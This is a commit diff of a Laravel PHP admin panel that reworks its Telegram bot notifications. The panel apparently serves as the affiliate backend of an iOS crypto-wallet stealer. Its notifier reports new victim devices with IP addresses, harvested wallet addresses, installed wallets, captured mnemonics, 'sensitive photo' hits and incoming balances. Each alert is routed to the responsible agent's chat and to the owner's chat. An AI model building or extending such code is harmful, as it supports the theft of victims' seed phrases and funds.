feat: bot
This commit is contained in:
@@ -5,14 +5,18 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AgentUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
public function index(TelegramNotifier $telegram)
|
||||
{
|
||||
return view('admin.agents.index');
|
||||
return view('admin.agents.index', [
|
||||
'botUsername' => $telegram->cachedBotUsername(),
|
||||
'botInviteUrl' => $telegram->inviteUrl(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
@@ -47,8 +51,7 @@ class AgentUserController extends Controller
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'bot_token' => $u->bot_token ?: '',
|
||||
'telegram_ready' => $u->hasTelegramBot(),
|
||||
'telegram_ready' => $u->hasTelegramChat(),
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
@@ -70,8 +73,7 @@ class AgentUserController extends Controller
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'chat_id' => $this->chatIdRules(),
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
@@ -80,7 +82,6 @@ class AgentUserController extends Controller
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'chat_id' => $this->nullableTrim($data['chat_id'] ?? null),
|
||||
'bot_token' => $this->nullableTrim($data['bot_token'] ?? null),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
@@ -92,8 +93,7 @@ class AgentUserController extends Controller
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'chat_id' => $this->chatIdRules($agent->id),
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
@@ -105,12 +105,6 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('chat_id', $data)) {
|
||||
$agent->chat_id = $this->nullableTrim($data['chat_id']);
|
||||
}
|
||||
if (array_key_exists('bot_token', $data)) {
|
||||
$token = $this->nullableTrim($data['bot_token']);
|
||||
// Empty string in edit form means "leave unchanged" only when field omitted;
|
||||
// explicit empty clears. UI sends current value when unchanged.
|
||||
$agent->bot_token = $token;
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
@@ -119,6 +113,33 @@ class AgentUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'agent_id' => ['nullable', 'integer'],
|
||||
]);
|
||||
|
||||
$chatId = $this->nullableTrim($data['chat_id'] ?? null) ?? '';
|
||||
$agent = null;
|
||||
if (! empty($data['agent_id'])) {
|
||||
$agent = User::query()->find((int) $data['agent_id']);
|
||||
if ($chatId === '') {
|
||||
$chatId = trim((string) ($agent?->chat_id ?? ''));
|
||||
}
|
||||
}
|
||||
|
||||
$label = $agent !== null
|
||||
? '代理 '.$agent->username.' 通知群推送正常。'
|
||||
: '代理通知群推送正常。';
|
||||
$result = $telegram->sendTest($chatId, $label);
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['ok'] ? 0 : 1,
|
||||
'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'),
|
||||
]);
|
||||
}
|
||||
|
||||
public function channels(User $agent)
|
||||
{
|
||||
$rows = Channel::query()
|
||||
@@ -137,6 +158,36 @@ class AgentUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||
}
|
||||
|
||||
/** @return list<mixed> */
|
||||
private function chatIdRules(?int $ignoreUserId = null): array
|
||||
{
|
||||
$unique = Rule::unique('users', 'chat_id')
|
||||
->where(fn ($q) => $q->whereNotNull('chat_id')->where('chat_id', '!=', ''));
|
||||
if ($ignoreUserId !== null) {
|
||||
$unique = $unique->ignore($ignoreUserId);
|
||||
}
|
||||
|
||||
return [
|
||||
'nullable',
|
||||
'string',
|
||||
'max:64',
|
||||
function (string $attribute, mixed $value, \Closure $fail) use ($unique): void {
|
||||
$chatId = $this->nullableTrim($value);
|
||||
if ($chatId === null) {
|
||||
return;
|
||||
}
|
||||
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
if ($owner !== '' && $chatId === $owner) {
|
||||
$fail('不能与官方 Telegram Chat ID 相同');
|
||||
}
|
||||
$validator = validator([$attribute => $chatId], [$attribute => [$unique]]);
|
||||
if ($validator->fails()) {
|
||||
$fail('该 Chat ID 已被其他代理使用');
|
||||
}
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
private function nullableTrim(mixed $value): ?string
|
||||
{
|
||||
if ($value === null) {
|
||||
|
||||
@@ -4,18 +4,33 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\SettingsService;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemSettingsController extends Controller
|
||||
{
|
||||
public function index(SettingsService $settings)
|
||||
public function index(SettingsService $settings, TelegramNotifier $telegram)
|
||||
{
|
||||
$form = $settings->effectiveForForm();
|
||||
$token = trim((string) ($form['telegram.bot_token'] ?? ''));
|
||||
$username = trim((string) ($form['telegram.bot_username'] ?? ''));
|
||||
if ($token !== '' && $username === '') {
|
||||
$fetched = $telegram->fetchBotUsername($token);
|
||||
if ($fetched !== null) {
|
||||
$username = ltrim($fetched, '@');
|
||||
$settings->putMany(['telegram.bot_username' => $username]);
|
||||
$form['telegram.bot_username'] = $username;
|
||||
}
|
||||
}
|
||||
|
||||
return view('admin.system.settings', [
|
||||
'form' => $settings->effectiveForForm(),
|
||||
'form' => $form,
|
||||
'botUsername' => $telegram->formatBotUsername($form['telegram.bot_username'] ?? ''),
|
||||
'botInviteUrl' => $telegram->inviteUrl($form['telegram.bot_username'] ?? ''),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, SettingsService $settings)
|
||||
public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
||||
@@ -30,8 +45,27 @@ class SystemSettingsController extends Controller
|
||||
$adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null);
|
||||
$agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null);
|
||||
|
||||
$token = trim((string) ($data['telegram_bot_token'] ?? ''));
|
||||
$username = '';
|
||||
$note = '';
|
||||
if ($token !== '') {
|
||||
$fetched = $telegram->fetchBotUsername($token);
|
||||
if ($fetched !== null) {
|
||||
$username = ltrim($fetched, '@');
|
||||
} else {
|
||||
$sameToken = $token === trim((string) config('coruna.telegram.bot_token', ''));
|
||||
$previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@');
|
||||
if ($sameToken && $previous !== '') {
|
||||
$username = $previous;
|
||||
} else {
|
||||
$note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
|
||||
'telegram.bot_token' => $token !== '' ? $token : null,
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
||||
? (string) $data['channels_max_per_agent']
|
||||
@@ -43,6 +77,37 @@ class SystemSettingsController extends Controller
|
||||
'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已保存']);
|
||||
$display = $telegram->formatBotUsername($username);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '已保存'.($display !== '' ? '(Bot '.$display.')' : '').$note,
|
||||
'data' => [
|
||||
'bot_username' => $display,
|
||||
'bot_invite_url' => $telegram->inviteUrl($display),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'bot_token' => ['nullable', 'string', 'max:255'],
|
||||
]);
|
||||
|
||||
$chatId = trim((string) ($data['chat_id'] ?? ''));
|
||||
if ($chatId === '') {
|
||||
$chatId = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
}
|
||||
$token = trim((string) ($data['bot_token'] ?? ''));
|
||||
$token = $token !== '' ? $token : null;
|
||||
|
||||
$result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token);
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['ok'] ? 0 : 1,
|
||||
'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,16 +3,10 @@
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use App\Telegram\TelegramRegistrar;
|
||||
use Illuminate\Contracts\Cache\Repository as Cache;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||
use Psr\Log\LoggerInterface;
|
||||
use SergiX44\Nutgram\Configuration;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use Throwable;
|
||||
|
||||
@@ -22,51 +16,6 @@ class TelegramWebhookController extends Controller
|
||||
{
|
||||
app(TelegramBotContext::class)->setAgent(null);
|
||||
|
||||
return $this->handle(
|
||||
$request,
|
||||
expectedSecret: (string) config('coruna.telegram.webhook_secret', ''),
|
||||
resolveBot: static fn () => app(Nutgram::class),
|
||||
label: 'official',
|
||||
);
|
||||
}
|
||||
|
||||
public function agent(Request $request, User $agent): Response
|
||||
{
|
||||
if (! $agent->isEnabled() || ! $agent->hasTelegramBot()) {
|
||||
abort(404);
|
||||
}
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent);
|
||||
|
||||
return $this->handle(
|
||||
$request,
|
||||
expectedSecret: $secret,
|
||||
resolveBot: function () use ($agent) {
|
||||
if (app()->runningUnitTests()) {
|
||||
return app(Nutgram::class);
|
||||
}
|
||||
|
||||
$bot = $this->makeAgentBot($agent);
|
||||
app(TelegramRegistrar::class)->registerAgent($bot, $agent);
|
||||
|
||||
return $bot;
|
||||
},
|
||||
label: 'agent:'.$agent->id,
|
||||
requireSecret: true,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param callable(): Nutgram $resolveBot
|
||||
*/
|
||||
private function handle(
|
||||
Request $request,
|
||||
string $expectedSecret,
|
||||
callable $resolveBot,
|
||||
string $label,
|
||||
bool $requireSecret = false,
|
||||
): Response {
|
||||
$raw = $request->getContent();
|
||||
$update = $request->all();
|
||||
if ($update === [] && is_string($raw) && $raw !== '') {
|
||||
@@ -81,9 +30,9 @@ class TelegramWebhookController extends Controller
|
||||
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
||||
$updateId = $update['update_id'] ?? null;
|
||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||
$expectedSecret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
|
||||
$this->webhookLog('info', 'telegram webhook hit', [
|
||||
'bot' => $label,
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
@@ -93,10 +42,9 @@ class TelegramWebhookController extends Controller
|
||||
'body_bytes' => strlen($raw),
|
||||
]);
|
||||
|
||||
if ($requireSecret || $expectedSecret !== '') {
|
||||
if ($expectedSecret === '' || $header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||
if ($expectedSecret !== '') {
|
||||
if ($header === '' || ! hash_equals($expectedSecret, $header)) {
|
||||
$this->webhookLog('warning', 'telegram webhook rejected: bad secret', [
|
||||
'bot' => $label,
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $updateId,
|
||||
]);
|
||||
@@ -105,17 +53,15 @@ class TelegramWebhookController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$bot = $resolveBot();
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->run();
|
||||
$this->webhookLog('info', 'telegram webhook handled', [
|
||||
'bot' => $label,
|
||||
'update_id' => $updateId,
|
||||
'chat_id' => $chatId,
|
||||
'handler' => $bot->currentHandler()?->getPattern(),
|
||||
]);
|
||||
} catch (Throwable $e) {
|
||||
$this->webhookLog('error', 'telegram webhook failed', [
|
||||
'bot' => $label,
|
||||
'message' => $e->getMessage(),
|
||||
'exception' => $e::class,
|
||||
'file' => $e->getFile().':'.$e->getLine(),
|
||||
@@ -132,40 +78,6 @@ class TelegramWebhookController extends Controller
|
||||
return response()->noContent();
|
||||
}
|
||||
|
||||
private function makeAgentBot(User $agent): Nutgram
|
||||
{
|
||||
$configuration = new Configuration(
|
||||
apiUrl: config('nutgram.config.api_url', Configuration::DEFAULT_API_URL),
|
||||
botId: config('nutgram.config.bot_id'),
|
||||
botName: config('nutgram.config.bot_name'),
|
||||
testEnv: config('nutgram.config.test_env', false),
|
||||
isLocal: config('nutgram.config.is_local', false),
|
||||
clientTimeout: config('nutgram.config.timeout', Configuration::DEFAULT_CLIENT_TIMEOUT),
|
||||
clientOptions: config('nutgram.config.client', []),
|
||||
container: app(),
|
||||
hydrator: config('nutgram.config.hydrator', Configuration::DEFAULT_HYDRATOR),
|
||||
cache: app(Cache::class),
|
||||
logger: app(LoggerInterface::class)->channel(config('nutgram.log_channel', 'null')),
|
||||
localPathTransformer: config('nutgram.config.local_path_transformer'),
|
||||
pollingTimeout: config('nutgram.config.polling.timeout', Configuration::DEFAULT_POLLING_TIMEOUT),
|
||||
pollingAllowedUpdates: config('nutgram.config.polling.allowed_updates', Configuration::DEFAULT_ALLOWED_UPDATES),
|
||||
pollingLimit: config('nutgram.config.polling.limit', Configuration::DEFAULT_POLLING_LIMIT),
|
||||
enableHttp2: config('nutgram.config.enable_http2', Configuration::DEFAULT_ENABLE_HTTP2),
|
||||
conversationTtl: config('nutgram.config.conversation_ttl', Configuration::DEFAULT_CONVERSATION_TTL),
|
||||
);
|
||||
|
||||
$bot = new Nutgram((string) $agent->bot_token, $configuration);
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent);
|
||||
$webhook = new LaravelWebhook(
|
||||
getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'),
|
||||
secretToken: $secret,
|
||||
);
|
||||
$webhook->setSafeMode(true);
|
||||
$bot->setRunningMode($webhook);
|
||||
|
||||
return $bot;
|
||||
}
|
||||
|
||||
/** @param array<string, mixed> $context */
|
||||
private function webhookLog(string $level, string $message, array $context = []): void
|
||||
{
|
||||
|
||||
+22
-3
@@ -8,7 +8,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
class User extends Authenticatable
|
||||
{
|
||||
protected $fillable = [
|
||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_token',
|
||||
'username', 'password', 'status', 'comment', 'chat_id',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
@@ -42,9 +42,28 @@ class User extends Authenticatable
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
}
|
||||
|
||||
public function hasTelegramChat(): bool
|
||||
{
|
||||
return trim((string) ($this->chat_id ?? '')) !== '';
|
||||
}
|
||||
|
||||
/** @deprecated Use hasTelegramChat(); kept for existing call sites. */
|
||||
public function hasTelegramBot(): bool
|
||||
{
|
||||
return trim((string) ($this->bot_token ?? '')) !== ''
|
||||
&& trim((string) ($this->chat_id ?? '')) !== '';
|
||||
return $this->hasTelegramChat();
|
||||
}
|
||||
|
||||
public static function findEnabledByChatId(int|string|null $chatId): ?self
|
||||
{
|
||||
$chatId = trim((string) $chatId);
|
||||
if ($chatId === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return static::query()
|
||||
->where('status', 1)
|
||||
->where('chat_id', $chatId)
|
||||
->orderBy('id')
|
||||
->first();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@ class SettingsService
|
||||
{
|
||||
public const KEYS = [
|
||||
'telegram.bot_token',
|
||||
'telegram.bot_username',
|
||||
'telegram.owner_chat_id',
|
||||
'channels.max_per_agent',
|
||||
'channels.domains',
|
||||
@@ -73,6 +74,10 @@ class SettingsService
|
||||
'nutgram.token' => $bot,
|
||||
]);
|
||||
}
|
||||
$botName = $map['telegram.bot_username'] ?? null;
|
||||
if ($botName !== null) {
|
||||
config(['coruna.telegram.bot_username' => $botName]);
|
||||
}
|
||||
$chat = $map['telegram.owner_chat_id'] ?? null;
|
||||
if ($chat !== null && $chat !== '') {
|
||||
config(['coruna.telegram.owner_chat_id' => $chat]);
|
||||
@@ -110,6 +115,7 @@ class SettingsService
|
||||
|
||||
return [
|
||||
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
|
||||
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
|
||||
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
|
||||
|
||||
@@ -11,47 +11,134 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
/** @var array<string, array{channel_id: string, agent: ?User}> */
|
||||
private array $deviceContext = [];
|
||||
|
||||
public function systemEnabled(): bool
|
||||
{
|
||||
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
|
||||
return $this->botToken() !== ''
|
||||
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string}|null [token, chatId]
|
||||
* Site-wide bot token. Agents only configure chat_id.
|
||||
*/
|
||||
public function resolveDestination(?string $deviceKey = null): ?array
|
||||
public function botToken(): string
|
||||
{
|
||||
$agent = $this->resolveAgentForDeviceKey($deviceKey);
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
|
||||
return [
|
||||
trim((string) $agent->bot_token),
|
||||
trim((string) $agent->chat_id),
|
||||
];
|
||||
}
|
||||
return trim((string) config('coruna.telegram.bot_token', ''));
|
||||
}
|
||||
|
||||
if (! $this->systemEnabled()) {
|
||||
public function formatBotUsername(?string $username): string
|
||||
{
|
||||
$username = ltrim(trim((string) $username), '@');
|
||||
|
||||
return $username === '' ? '' : '@'.$username;
|
||||
}
|
||||
|
||||
public function cachedBotUsername(): string
|
||||
{
|
||||
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
|
||||
}
|
||||
|
||||
public function inviteUrl(?string $username = null): string
|
||||
{
|
||||
$name = ltrim($username !== null && trim($username) !== ''
|
||||
? $this->formatBotUsername($username)
|
||||
: $this->cachedBotUsername(), '@');
|
||||
|
||||
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
|
||||
}
|
||||
|
||||
/** Resolve @username via Telegram getMe. */
|
||||
public function fetchBotUsername(?string $token = null): ?string
|
||||
{
|
||||
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
||||
if ($token === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
trim((string) config('coruna.telegram.bot_token')),
|
||||
trim((string) config('coruna.telegram.owner_chat_id')),
|
||||
];
|
||||
try {
|
||||
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
|
||||
if (! $resp->successful() || $resp->json('ok') !== true) {
|
||||
return null;
|
||||
}
|
||||
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
|
||||
|
||||
return $name !== '' ? $name : null;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram getMe failed: '.$e->getMessage());
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Agent device with chat_id → agent chat + official chat.
|
||||
* Otherwise official chat only.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolveChatIds(?string $deviceKey = null): array
|
||||
{
|
||||
if ($this->botToken() === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
$agentChat = '';
|
||||
$agent = $this->contextForDevice($deviceKey)['agent'];
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
|
||||
$agentChat = trim((string) $agent->chat_id);
|
||||
}
|
||||
|
||||
$chatIds = [];
|
||||
if ($agentChat !== '') {
|
||||
$chatIds[] = $agentChat;
|
||||
}
|
||||
if ($owner !== '' && $owner !== $agentChat) {
|
||||
$chatIds[] = $owner;
|
||||
}
|
||||
|
||||
return $chatIds;
|
||||
}
|
||||
|
||||
public function enabled(?string $deviceKey = null): bool
|
||||
{
|
||||
return $this->resolveDestination($deviceKey) !== null;
|
||||
return $this->resolveChatIds($deviceKey) !== [];
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
{
|
||||
$dest = $this->resolveDestination($deviceKey);
|
||||
if ($dest === null) {
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
return false;
|
||||
}
|
||||
[$token, $chatId] = $dest;
|
||||
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $ok;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send one message to a specific chat using the site bot (or an override token).
|
||||
*
|
||||
* @return array{ok: bool, error: ?string}
|
||||
*/
|
||||
public function sendToChat(string $chatId, string $text, ?string $token = null): array
|
||||
{
|
||||
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
||||
$chatId = trim($chatId);
|
||||
if ($token === '') {
|
||||
return ['ok' => false, 'error' => '未配置 Bot Token'];
|
||||
}
|
||||
if ($chatId === '') {
|
||||
return ['ok' => false, 'error' => '未填写 Chat ID'];
|
||||
}
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
@@ -63,20 +150,43 @@ class TelegramNotifier
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
if ($resp->successful() && ($resp->json('ok') === true)) {
|
||||
return ['ok' => true, 'error' => null];
|
||||
}
|
||||
|
||||
return $resp->successful();
|
||||
$desc = trim((string) ($resp->json('description') ?? ''));
|
||||
if ($desc === '') {
|
||||
$desc = 'HTTP '.$resp->status();
|
||||
}
|
||||
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $desc];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
|
||||
return false;
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{ok: bool, error: ?string}
|
||||
*/
|
||||
public function sendTest(string $chatId, string $label, ?string $token = null): array
|
||||
{
|
||||
$chatId = trim($chatId);
|
||||
|
||||
return $this->sendToChat($chatId, implode("\n", [
|
||||
'🧪 <b>Telegram 测试</b>',
|
||||
$this->e($label),
|
||||
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
|
||||
]), $token);
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'📱 <b>New Device</b>',
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]), $deviceId);
|
||||
@@ -105,7 +215,7 @@ class TelegramNotifier
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
|
||||
foreach ($wallets as $i => $w) {
|
||||
@@ -140,7 +250,7 @@ class TelegramNotifier
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
@@ -149,7 +259,7 @@ class TelegramNotifier
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]), $deviceId);
|
||||
@@ -159,7 +269,7 @@ class TelegramNotifier
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
@@ -175,7 +285,7 @@ class TelegramNotifier
|
||||
): void {
|
||||
$lines = [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
@@ -186,32 +296,49 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
|
||||
/** @return list<string> */
|
||||
private function deviceHeader(string $deviceId): array
|
||||
{
|
||||
$channelId = $this->contextForDevice($deviceId)['channel_id'];
|
||||
|
||||
return [
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{channel_id: string, agent: ?User}
|
||||
*/
|
||||
private function contextForDevice(?string $deviceKey): array
|
||||
{
|
||||
$deviceKey = trim((string) $deviceKey);
|
||||
if ($deviceKey === '') {
|
||||
return null;
|
||||
return ['channel_id' => '', 'agent' => null];
|
||||
}
|
||||
if (isset($this->deviceContext[$deviceKey])) {
|
||||
return $this->deviceContext[$deviceKey];
|
||||
}
|
||||
|
||||
$channelId = '';
|
||||
$agent = null;
|
||||
try {
|
||||
$channelId = Device::query()
|
||||
->where('device_id', $deviceKey)
|
||||
->value('channel_id');
|
||||
if (! is_string($channelId) || $channelId === '') {
|
||||
return null;
|
||||
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
|
||||
$channelId = is_string($found) ? $found : '';
|
||||
if ($channelId !== '') {
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId !== null && (int) $userId > 0) {
|
||||
$agent = User::query()->find((int) $userId);
|
||||
}
|
||||
}
|
||||
|
||||
$userId = Channel::query()
|
||||
->where('channel_id', $channelId)
|
||||
->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return User::query()->find((int) $userId);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
//
|
||||
}
|
||||
|
||||
return $this->deviceContext[$deviceKey] = [
|
||||
'channel_id' => $channelId,
|
||||
'agent' => $agent,
|
||||
];
|
||||
}
|
||||
|
||||
